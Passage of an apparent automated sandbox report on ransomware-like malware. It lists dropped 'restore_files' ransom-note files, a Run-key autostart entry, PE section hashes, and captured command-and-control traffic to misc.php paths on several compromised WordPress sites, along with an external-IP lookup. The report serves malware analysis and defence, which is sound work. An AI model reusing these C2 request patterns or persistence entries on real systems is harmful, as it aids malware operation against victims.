%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\11\restore_files_woyft.html (5 bytes)
%System%\config\SOFTWARE.LOG (4934 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\50\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\Temporary Internet Files\Content.IE5\S96BCDQ7\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\46\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Updater6\Install\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\16\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Flash Player\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\38\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\Temporary Internet Files\Content.IE5\S96BCDQ7\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Internet Explorer\Quick Launch\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\36\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Templates\winword.doc (426 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\16\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\Internet Explorer\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\30\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\Temp\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\16\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Acrobat\9.0\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\54\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Cookies\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Acrobat\9.0\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\43\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\63\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\31\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\restore_files_woyft.html (5 bytes)
%Documents and Settings%\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\22\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Documents\My Music\Sample Music\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Color\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Reader 9.3\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\1\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Documents\My Videos\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Documents\My Videos\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\Windows Media\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\42\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\6\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\24\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Favorites\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\60\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\47\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Start Menu\Programs\Accessories\Accessibility\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg (502 bytes)
%Documents and Settings%\LocalService\Local Settings\Temp\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\SystemCertificates\My\Certificates\restore_files_woyft.txt (2 bytes)
Delete the following value(s) in the autorun key (How to Work with System Registry):
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"helper_xgcv" = "C"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"helper_xgcv" = "%Documents and Settings%\%current user%\Application Data\vcwhqj.exe"
Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

Company Name:
Product Name:
Product Version:
Legal Copyright:
Legal Trademarks:
Original Filename:
Internal Name:
File Version:
File Description:
Comments:
Language: Language Neutral

Company Name: Product Name: Product Version: Legal Copyright: Legal Trademarks: Original Filename: Internal Name: File Version: File Description: Comments: Language: Language Neutral

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	4096	58924	61440	4.09673	8c8e36eb51a81b7da8eed077971cca73
.rdata	65536	1104	4096	1.412	236eb47ab48ae8fad09193b9b9df914c
.data	69632	2142368	4096	0.1661	9c479fd863bc689afbe8a848bface6c3
.rsrc	2215936	43608	45056	3.48171	8fc6d16715809665f0002b34dfb1d412

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Network Activity

URLs

URL	IP
hxxp://ipinfo.io/ip	52.29.208.252
hxxp://myconsulting.es/wp-content/plugins/post-notification/misc.php?1658F5E327B863B9B881FF57F2E1B522B2AB8EE444C282D8F798D8A4FC63963F31115D9BF60D086CAC2C1772C2E0AF7A34397FA7C9B9564CA1A07948005CE338FA335793A7D9C4D7AD9A9F279BE174342F354695651E94AAD094B32481FDDA693C26F0DEEBCACE204CE8A482DE934783B65B08F82EDDDAF9B2AA09D55D05379D038CCB30242F5664F1793205CD60A0F1D2DD8443EEC1D195441881B0AE429D0960754463B02FFDF15052C539CE45C055E67473A697659958C952EC58F4C235481B3543F608A14E62533FAC18C715AB4CC1D8E8F28FBCA32080049B6A4F609354B581BA046946D8A6E397213AA61B60846BBCE90EE6C3E9F357BB3571C7493362BD844EF15D98E53081BF469FD2F67E581E97367F84B0989F2DD64D21763D94EB5E40E50ACEE57A194E0C11F08B49A62047CD1806DA866B37ABC555D9F352D62C08B0D0F1BC22843B3C87AEFF05B01C13DAAEF0DD6CE36C2A01B31E90D75B20BC
hxxp://prettybaked.pl/wp-content/plugins/share-buttons-wp/misc.php?1658F5E327B863B9B881FF57F2E1B522B2AB8EE444C282D8F798D8A4FC63963F31115D9BF60D086CAC2C1772C2E0AF7A34397FA7C9B9564CA1A07948005CE338FA335793A7D9C4D7AD9A9F279BE174342F354695651E94AAD094B32481FDDA693C26F0DEEBCACE204CE8A482DE934783B65B08F82EDDDAF9B2AA09D55D05379D038CCB30242F5664F1793205CD60A0F1D2DD8443EEC1D195441881B0AE429D0960754463B02FFDF15052C539CE45C055E67473A697659958C952EC58F4C235481B3543F608A14E62533FAC18C715AB4CC1D8E8F28FBCA32080049B6A4F609354B581BA046946D8A6E397213AA61B60846B999981BED622AFC527FFFBFDF3B75348B7B53F5AB7EC7F88A285FBCD1C1141CD0290D5D8AB7387B98B4B7F112962B240F6AFC3869291532EE3A728E35B3A333EE7332751E06FA1225C3B56E701EF738B621742AF0CCCBF73CCD905EE8AC3271317B48C738C4826C7FF81BBEAE00ECD	185.23.21.169
hxxp://majowy.info/wp-content/plugins/wp-handy-lightbox/misc.php?1658F5E327B863B9B881FF57F2E1B522B2AB8EE444C282D8F798D8A4FC63963F31115D9BF60D086CAC2C1772C2E0AF7A34397FA7C9B9564CA1A07948005CE338FA335793A7D9C4D7AD9A9F279BE174342F354695651E94AAD094B32481FDDA693C26F0DEEBCACE204CE8A482DE934783B65B08F82EDDDAF9B2AA09D55D05379D038CCB30242F5664F1793205CD60A0F1D2DD8443EEC1D195441881B0AE429D0960754463B02FFDF15052C539CE45C055E67473A697659958C952EC58F4C235481B3543F608A14E62533FAC18C715AB4CC1D8E8F28FBCA32080049B6A4F609354B581BA046946D8A6E397213AA61B608423B2782E2297C33A56358BBBCA48113525DE270B03F89CCE1977A566EBF443F713DE571CE2FF4B450A94510E4C24D5A0BAD3B3F82CBF372FFC2041BB80D5A5F0800EB4252C6AA835538C909DACE6B2E023834217091840AC9CB180F22DFB68F310B21D4B3FCEA5792BCBEBA4DAB9420F	79.96.20.98
hxxp://bostonhygiene.com/wp-content/plugins/quick-setup/misc.php?1658F5E327B863B9B881FF57F2E1B522B2AB8EE444C282D8F798D8A4FC63963F31115D9BF60D086CAC2C1772C2E0AF7A34397FA7C9B9564CA1A07948005CE338FA335793A7D9C4D7AD9A9F279BE174342F354695651E94AAD094B32481FDDA693C26F0DEEBCACE204CE8A482DE934783B65B08F82EDDDAF9B2AA09D55D05379D038CCB30242F5664F1793205CD60A0F1D2DD8443EEC1D195441881B0AE429D0960754463B02FFDF15052C539CE45C055E67473A697659958C952EC58F4C235481B3543F608A14E62533FAC18C715AB4CC1D8E8F28FBCA32080049B6A4F609354B581BA046946D8A6E397213AA61B608423B2782E2297C33A56358BBBCA48113525DE270B03F89CCE1977A566EBF443F713DE571CE2FF4B450A94510E4C24D5A0C2B95EE0C3EB43E7D3D4F5BF27ACE8778220C7D37FF1F51911E022F4759AA545D7683E1FA3311AF3C2325B075DFD4B6CAD0D43A413808A0C829FEE08A5DF3720	204.11.56.48
hxxp://myconsulting.es/wp-content/plugins/post-notification/misc.php?708A7086F6E5A644B7326A22488FF4A1F79487A2A64F8A9528570DBC7C19E3FEA1921EE044881DCFFB4BDEE62AEFA6647F4170BFB5372776B8FE99974009A4EFD1DB1E0E741E3E9CFF10D3CB7926750D0D1FD35E9D365A4E506A81C5AB31BD088584DFBF6A19A9806BA463ED69997BB20A9A5D8A32E48A48D66B7C17F519D8398A98DC6C96AA78DC349F8EF7707516A8311EF7F2354DBB0DD32D15C198877E47A4DB24FD882574AD8DC3139E366C400335A724C08DFC37FFE07C9978851A80DF708607DBB6EC1F818EF8E8BF688B1B54FD17C55A7D492018F98288F1E45F6E2053FCE6923A3755D9AF87A7B0BB1434BFF015446D7CE5E5597D8D3BEE57058E0FC48BF2E149F5F5F1BEE098F3B86253D66D2D7F07785429D9F9331C7FC12982C28DFD28A1C511AB93DD430BAAEAE42BF882659A4A0D9BC3749E862938F737F4DE4F7AFF3D8A2AFA20E885CEA76086A44995F44749E0AC70A9CFCE027919CA985818791194AB94D2635BE6A15FDA597286
hxxp://prettybaked.pl/wp-content/plugins/share-buttons-wp/misc.php?708A7086F6E5A644B7326A22488FF4A1F79487A2A64F8A9528570DBC7C19E3FEA1921EE044881DCFFB4BDEE62AEFA6647F4170BFB5372776B8FE99974009A4EFD1DB1E0E741E3E9CFF10D3CB7926750D0D1FD35E9D365A4E506A81C5AB31BD088584DFBF6A19A9806BA463ED69997BB20A9A5D8A32E48A48D66B7C17F519D8398A98DC6C96AA78DC349F8EF7707516A8311EF7F2354DBB0DD32D15C198877E47A4DB24FD882574AD8DC3139E366C400335A724C08DFC37FFE07C9978851A80DF708607DBB6EC1F818EF8E8BF688B1B54FD17C55A7D492018F98288F1E45F6E2053FCE6923A3755D9AF87A7B0BB1434BFF015446D7CE5E5597D8D3BEE57058E0FC48BF2E149F5F5F1BEE098F3B86253D66D2D7F07785429D9F9331C7FC12982C2D075AF8B8200893DF6CB2CE1BA42320F1CD697021095F3BAC0B6E7501B626D3F6CCEA67FFBD212F6A09E4EE950085A384DB9B89944FE4421C59B70FD8312D01A	185.23.21.169
hxxp://majowy.info/wp-content/plugins/wp-handy-lightbox/misc.php?708A7086F6E5A644B7326A22488FF4A1F79487A2A64F8A9528570DBC7C19E3FEA1921EE044881DCFFB4BDEE62AEFA6647F4170BFB5372776B8FE99974009A4EFD1DB1E0E741E3E9CFF10D3CB7926750D0D1FD35E9D365A4E506A81C5AB31BD088584DFBF6A19A9806BA463ED69997BB20A9A5D8A32E48A48D66B7C17F519D8398A98DC6C96AA78DC349F8EF7707516A8311EF7F2354DBB0DD32D15C198877E47A4DB24FD882574AD8DC3139E366C400335A724C08DFC37FFE07C9978851A80DF708607DBB6EC1F818EF8E8BF688B1B54FD17C55A7D492018F98288F1E45F6E2053FCE6923A3755D9AF87A7B0BB1434BFF015446D7CE5E5597D8D3BEE57058E0FC48BF2E149F5F5F1BEE098F3B86253D66D2D7F07785429D9F9331C7FC12982C2B6A4C49C51E7FDA33B4C4B332FA44DFC85F107174D1175843EE546C0254CCD03ED067E9788149E979AF785F272D934E5D27FEF452E871B2C96EF5A506A0EFA5D	79.96.20.98
hxxp://bostonhygiene.com/wp-content/plugins/quick-setup/misc.php?708A7086F6E5A644B7326A22488FF4A1F79487A2A64F8A9528570DBC7C19E3FEA1921EE044881DCFFB4BDEE62AEFA6647F4170BFB5372776B8FE99974009A4EFD1DB1E0E741E3E9CFF10D3CB7926750D0D1FD35E9D365A4E506A81C5AB31BD088584DFBF6A19A9806BA463ED69997BB20A9A5D8A32E48A48D66B7C17F519D8398A98DC6C96AA78DC349F8EF7707516A8311EF7F2354DBB0DD32D15C198877E47A4DB24FD882574AD8DC3139E366C400335A724C08DFC37FFE07C9978851A80DF708607DBB6EC1F818EF8E8BF688B1B54FD17C55A7D492018F98288F1E45F6E2053FCE6923A3755D9AF87A7B0BB1434BFF015446D7CE5E5597D8D3BEE57058E0FC48BF2E149F5F5F1BEE098F3B86253D66D2D7F07785429D9F9331C7FC12982C2AF56D3239F7BC16FFD1937B4F8BD7BB82C1BD15207835A3BA152688884D6C55DB107DA2DBA6C1AFF9F2D476AB53FBACD141F07890B931FD135CD84D72F26B50AA62E89122264FD9D2A47297D484D4B1F	204.11.56.48
hxxp://www.myconsulting.es/wp-content/plugins/post-notification/misc.php?1658F5E327B863B9B881FF57F2E1B522B2AB8EE444C282D8F798D8A4FC63963F31115D9BF60D086CAC2C1772C2E0AF7A34397FA7C9B9564CA1A07948005CE338FA335793A7D9C4D7AD9A9F279BE174342F354695651E94AAD094B32481FDDA693C26F0DEEBCACE204CE8A482DE934783B65B08F82EDDDAF9B2AA09D55D05379D038CCB30242F5664F1793205CD60A0F1D2DD8443EEC1D195441881B0AE429D0960754463B02FFDF15052C539CE45C055E67473A697659958C952EC58F4C235481B3543F608A14E62533FAC18C715AB4CC1D8E8F28FBCA32080049B6A4F609354B581BA046946D8A6E397213AA61B60846BBCE90EE6C3E9F357BB3571C7493362BD844EF15D98E53081BF469FD2F67E581E97367F84B0989F2DD64D21763D94EB5E40E50ACEE57A194E0C11F08B49A62047CD1806DA866B37ABC555D9F352D62C08B0D0F1BC22843B3C87AEFF05B01C13DAAEF0DD6CE36C2A01B31E90D75B20BC

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /wp-content/plugins/share-buttons-wp/misc.php?1658F5E327B863B9B881FF57F2E1B522B2AB8EE444C282D8F798D8A4FC63963F31115D9BF60D086CAC2C1772C2E0AF7A34397FA7C9B9564CA1A07948005CE338FA335793A7D9C4D7AD9A9F279BE174342F354695651E94AAD094B32481FDDA693C26F0DEEBCACE204CE8A482DE934783B65B08F82EDDDAF9B2AA09D55D05379D038CCB30242F5664F1793205CD60A0F1D2DD8443EEC1D195441881B0AE429D0960754463B02FFDF15052C539CE45C055E67473A697659958C952EC58F4C235481B3543F608A14E62533FAC18C715AB4CC1D8E8F28FBCA32080049B6A4F609354B581BA046946D8A6E397213AA61B60846B999981BED622AFC527FFFBFDF3B75348B7B53F5AB7EC7F88A285FBCD1C1141CD0290D5D8AB7387B98B4B7F112962B240F6AFC3869291532EE3A728E35B3A333EE7332751E06FA1225C3B56E701EF738B621742AF0CCCBF73CCD905EE8AC3271317B48C738C4826C7FF81BBEAE00ECD HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:31.0) Gecko/20100101 Firefox/31.0

Host: prettybaked.pl

Connection: Keep-Alive

HTTP/1.1 404 Not Found

Expires: Wed, 11 Jan 1984 05:00:00 GMT

Cache-Control: no-cache, must-revalidate, max-age=0

Pragma: no-cache

Content-Type: text/html; charset=UTF-8

Link: <hXXp://prettybaked.pl/wp-json/>; rel="hXXps://api.w.org/"

Transfer-Encoding: chunked

Date: Wed, 15 Jun 2016 10:33:33 GMT

Accept-Ranges: bytes

Server: LiteSpeed

Connection: close

2000..<!DOCTYPE html>.<html lang="pl-PL">.<head>. <meta charset="UTF-8">. <meta name="viewport" content="width=device-width, initial-scale=1">. <title>Strona nie zosta..a znaleziona | PrettyBaked</title>. <link rel="profile" href="hXXp://gmpg.org/xfn/11">. <link rel="pingback" href="hXXp://prettybaked.pl/xmlrpc.php">. <link rel="alternate" type="application/rss xml" title="PrettyBaked » Kana.. z wpisami" href="hXXp://prettybaked.pl/index.php/feed/" />.<link rel="alternate" type="application/rss xml" title="PrettyBaked » Kana.. z komentarzami" href="hXXp://prettybaked.pl/index.php/comments/feed/" />...<script type="text/javascript">....window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/72x72\/","ext":".png","source":{"concatemoji":"http:\/\/prettybaked.pl\/wp-includes\/js\/wp-emoji-release.min.js?ver=4.5.1"}};....!function(a,b,c){function d(a){var c,d,e,f=b.createElement("canvas"),g=f.getContext&&f.getContext("2d"),h=String.fromCharCode;if(!g||!g.fillText)return!1;switch(g.textBaseline="top",g.font="600 32px Arial",a){case"flag":return g.fillText(h(55356,56806,55356,56826),0,0),f.toDataURL().length>3e3;case"diversity":return g.fillText(h(55356,57221),0,0),c=g.getImageData(16,16,1,1).data,d=c[0] "," c[1] "," c[2] "," c[3],g.fillText(h(55356,57221,55356,57343),0,0),c=g.getImageData(16,16,1,1).data,e=c[0] "," c[1] "," c[2] "," c[3],d!==e;case"simple":return g.fillText(h(55357,56835),0,

<<< skipped >>>

GET /wp-content/plugins/quick-setup/misc.php?1658F5E327B863B9B881FF57F2E1B522B2AB8EE444C282D8F798D8A4FC63963F31115D9BF60D086CAC2C1772C2E0AF7A34397FA7C9B9564CA1A07948005CE338FA335793A7D9C4D7AD9A9F279BE174342F354695651E94AAD094B32481FDDA693C26F0DEEBCACE204CE8A482DE934783B65B08F82EDDDAF9B2AA09D55D05379D038CCB30242F5664F1793205CD60A0F1D2DD8443EEC1D195441881B0AE429D0960754463B02FFDF15052C539CE45C055E67473A697659958C952EC58F4C235481B3543F608A14E62533FAC18C715AB4CC1D8E8F28FBCA32080049B6A4F609354B581BA046946D8A6E397213AA61B608423B2782E2297C33A56358BBBCA48113525DE270B03F89CCE1977A566EBF443F713DE571CE2FF4B450A94510E4C24D5A0C2B95EE0C3EB43E7D3D4F5BF27ACE8778220C7D37FF1F51911E022F4759AA545D7683E1FA3311AF3C2325B075DFD4B6CAD0D43A413808A0C829FEE08A5DF3720 HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:31.0) Gecko/20100101 Firefox/31.0

Host: bostonhygiene.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Wed, 15 Jun 2016 10:33:35 GMT

Server: Apache

Set-Cookie: vsid=925vr2135324151106820; expires=Mon, 14-Jun-2021 10:33:35 GMT; path=/; domain=bostonhygiene.com; httponly

Expires: Mon, 22 Jul 2002 11:12:01 GMT

Cache-Control: private, no-cache

Pragma: no-cache

Vary: Accept-Encoding,User-Agent

Content-Length: 802

Keep-Alive: timeout=5, max=84

Connection: Keep-Alive

Content-Type: text/html; charset=UTF-8

<html><head><meta http-equiv="refresh" content="0;url=http://ww2.bostonhygiene.com/?folio=9POR7JU99" /><META HTTP-EQUIV="CACHE-CONTROL" CONTENT="NO-CACHE,NO_STORE"><META HTTP-EQUIV="PRAGMA" CONTENT="NO-CACHE"/>....<META HTTP-EQUIV="EXPIRES" CONTENT="Mon, 22 Jul 2002 11:12:01 GMT"/></head><body onbeforeunload="" onunload=""><script language='javascript' type='text/javascript'>try.....{..... var rurl = 'hXXp://ww2.bostonhygiene.com/?folio=9POR7JU99'......window.top.location.replace(rurl);.....} catch(exception) {......document.write("This page has moved, <A HREF='http://ww2.bostonhygiene.com/?folio=9POR7JU99'>Click here</A> to go there.");.....}</script><noscript>This page has moved, <A HREF='hXXp://ww2.bostonhygiene.com/?folio=9POR7JU99'>Click here</A> to go there.</noscript></body></html>..

GET /wp-content/plugins/quick-setup/misc.php?708A7086F6E5A644B7326A22488FF4A1F79487A2A64F8A9528570DBC7C19E3FEA1921EE044881DCFFB4BDEE62AEFA6647F4170BFB5372776B8FE99974009A4EFD1DB1E0E741E3E9CFF10D3CB7926750D0D1FD35E9D365A4E506A81C5AB31BD088584DFBF6A19A9806BA463ED69997BB20A9A5D8A32E48A48D66B7C17F519D8398A98DC6C96AA78DC349F8EF7707516A8311EF7F2354DBB0DD32D15C198877E47A4DB24FD882574AD8DC3139E366C400335A724C08DFC37FFE07C9978851A80DF708607DBB6EC1F818EF8E8BF688B1B54FD17C55A7D492018F98288F1E45F6E2053FCE6923A3755D9AF87A7B0BB1434BFF015446D7CE5E5597D8D3BEE57058E0FC48BF2E149F5F5F1BEE098F3B86253D66D2D7F07785429D9F9331C7FC12982C2AF56D3239F7BC16FFD1937B4F8BD7BB82C1BD15207835A3BA152688884D6C55DB107DA2DBA6C1AFF9F2D476AB53FBACD141F07890B931FD135CD84D72F26B50AA62E89122264FD9D2A47297D484D4B1F HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:31.0) Gecko/20100101 Firefox/31.0

Host: bostonhygiene.com

Connection: Keep-Alive

Cookie: vsid=925vr2135324151106820

HTTP/1.1 200 OK

Date: Wed, 15 Jun 2016 10:33:49 GMT

Server: Apache

Expires: Mon, 22 Jul 2002 11:12:01 GMT

Cache-Control: private, no-cache

Pragma: no-cache

Vary: Accept-Encoding,User-Agent

Content-Length: 802

Keep-Alive: timeout=5, max=113

Connection: Keep-Alive

Content-Type: text/html; charset=UTF-8

GET /wp-content/plugins/post-notification/misc.php?1658F5E327B863B9B881FF57F2E1B522B2AB8EE444C282D8F798D8A4FC63963F31115D9BF60D086CAC2C1772C2E0AF7A34397FA7C9B9564CA1A07948005CE338FA335793A7D9C4D7AD9A9F279BE174342F354695651E94AAD094B32481FDDA693C26F0DEEBCACE204CE8A482DE934783B65B08F82EDDDAF9B2AA09D55D05379D038CCB30242F5664F1793205CD60A0F1D2DD8443EEC1D195441881B0AE429D0960754463B02FFDF15052C539CE45C055E67473A697659958C952EC58F4C235481B3543F608A14E62533FAC18C715AB4CC1D8E8F28FBCA32080049B6A4F609354B581BA046946D8A6E397213AA61B60846BBCE90EE6C3E9F357BB3571C7493362BD844EF15D98E53081BF469FD2F67E581E97367F84B0989F2DD64D21763D94EB5E40E50ACEE57A194E0C11F08B49A62047CD1806DA866B37ABC555D9F352D62C08B0D0F1BC22843B3C87AEFF05B01C13DAAEF0DD6CE36C2A01B31E90D75B20BC HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:31.0) Gecko/20100101 Firefox/31.0

Host: myconsulting.es

Connection: Keep-Alive

HTTP/1.1 301 Moved Permanently

Date: Wed, 15 Jun 2016 10:43:00 GMT

Server: Apache/2.2.29 (Unix) mod_ssl/2.2.29 OpenSSL/1.0.1e-fips mod_bwlimited/1.4

X-Powered-By: PHP/5.4.36

Vary: Cookie

Expires: Wed, 11 Jan 1984 05:00:00 GMT

Cache-Control: no-cache, must-revalidate, max-age=0

Pragma: no-cache

Set-Cookie: PHPSESSID=7228bb0d7cd3fb5e36e5ce30191d89bf; path=/

Location: hXXp://VVV.myconsulting.es/wp-content/plugins/post-notification/misc.php?1658F5E327B863B9B881FF57F2E1B522B2AB8EE444C282D8F798D8A4FC63963F31115D9BF60D086CAC2C1772C2E0AF7A34397FA7C9B9564CA1A07948005CE338FA335793A7D9C4D7AD9A9F279BE174342F354695651E94AAD094B32481FDDA693C26F0DEEBCACE204CE8A482DE934783B65B08F82EDDDAF9B2AA09D55D05379D038CCB30242F5664F1793205CD60A0F1D2DD8443EEC1D195441881B0AE429D0960754463B02FFDF15052C539CE45C055E67473A697659958C952EC58F4C235481B3543F608A14E62533FAC18C715AB4CC1D8E8F28FBCA32080049B6A4F609354B581BA046946D8A6E397213AA61B60846BBCE90EE6C3E9F357BB3571C7493362BD844EF15D98E53081BF469FD2F67E581E97367F84B0989F2DD64D21763D94EB5E40E50ACEE57A194E0C11F08B49A62047CD1806DA866B37ABC555D9F352D62C08B0D0F1BC22843B3C87AEFF05B01C13DAAEF0DD6CE36C2A01B31E90D75B20BC

Content-Length: 0

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: text/html; charset=UTF-8

HTTP/1.1 301 Moved Permanently..Date: Wed, 15 Jun 2016 10:43:00 GMT..Server: Apache/2.2.29 (Unix) mod_ssl/2.2.29 OpenSSL/1.0.1e-fips mod_bwlimited/1.4..X-Powered-By: PHP/5.4.36..Vary: Cookie..Expires: Wed, 11 Jan 1984 05:00:00 GMT..Cache-Control: no-cache, must-revalidate, max-age=0..Pragma: no-cache..Set-Cookie: PHPSESSID=7228bb0d7cd3fb5e36e5ce30191d89bf; path=/..Location: hXXp://VVV.myconsulting.es/wp-content/plugins/post-notification/misc.php?1658F5E327B863B9B881FF57F2E1B522B2AB8EE444C282D8F798D8A4FC63963F31115D9BF60D086CAC2C1772C2E0AF7A34397FA7C9B9564CA1A07948005CE338FA335793A7D9C4D7AD9A9F279BE174342F354695651E94AAD094B32481FDDA693C26F0DEEBCACE204CE8A482DE934783B65B08F82EDDDAF9B2AA09D55D05379D038CCB30242F5664F1793205CD60A0F1D2DD8443EEC1D195441881B0AE429D0960754463B02FFDF15052C539CE45C055E67473A697659958C952EC58F4C235481B3543F608A14E62533FAC18C715AB4CC1D8E8F28FBCA32080049B6A4F609354B581BA046946D8A6E397213AA61B60846BBCE90EE6C3E9F357BB3571C7493362BD844EF15D98E53081BF469FD2F67E581E97367F84B0989F2DD64D21763D94EB5E40E50ACEE57A194E0C11F08B49A62047CD1806DA866B37ABC555D9F352D62C08B0D0F1BC22843B3C87AEFF05B01C13DAAEF0DD6CE36C2A01B31E90D75B20BC..Content-Length: 0..Keep-Alive: timeout=5, max=100..Connection: Keep-Alive..Content-Type: text/html; charset=UTF-8..

<<< skipped >>>

GET /ip HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)

Host: ipinfo.io

HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

Content-Type: text/html; charset=utf-8

Date: Wed, 15 Jun 2016 10:33:27 GMT

Server: nginx/1.6.2

Set-Cookie: first_referrer=; Path=/

Content-Length: 15

Connection: keep-alive

194.242.96.218.HTTP/1.1 200 OK..Access-Control-Allow-Origin: *..Content-Type: text/html; charset=utf-8..Date: Wed, 15 Jun 2016 10:33:27 GMT..Server: nginx/1.6.2..Set-Cookie: first_referrer=; Path=/..Content-Length: 15..Connection: keep-alive..194.242.96.218...

GET /wp-content/plugins/post-notification/misc.php?708A7086F6E5A644B7326A22488FF4A1F79487A2A64F8A9528570DBC7C19E3FEA1921EE044881DCFFB4BDEE62AEFA6647F4170BFB5372776B8FE99974009A4EFD1DB1E0E741E3E9CFF10D3CB7926750D0D1FD35E9D365A4E506A81C5AB31BD088584DFBF6A19A9806BA463ED69997BB20A9A5D8A32E48A48D66B7C17F519D8398A98DC6C96AA78DC349F8EF7707516A8311EF7F2354DBB0DD32D15C198877E47A4DB24FD882574AD8DC3139E366C400335A724C08DFC37FFE07C9978851A80DF708607DBB6EC1F818EF8E8BF688B1B54FD17C55A7D492018F98288F1E45F6E2053FCE6923A3755D9AF87A7B0BB1434BFF015446D7CE5E5597D8D3BEE57058E0FC48BF2E149F5F5F1BEE098F3B86253D66D2D7F07785429D9F9331C7FC12982C28DFD28A1C511AB93DD430BAAEAE42BF882659A4A0D9BC3749E862938F737F4DE4F7AFF3D8A2AFA20E885CEA76086A44995F44749E0AC70A9CFCE027919CA985818791194AB94D2635BE6A15FDA597286 HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:31.0) Gecko/20100101 Firefox/31.0

Host: myconsulting.es
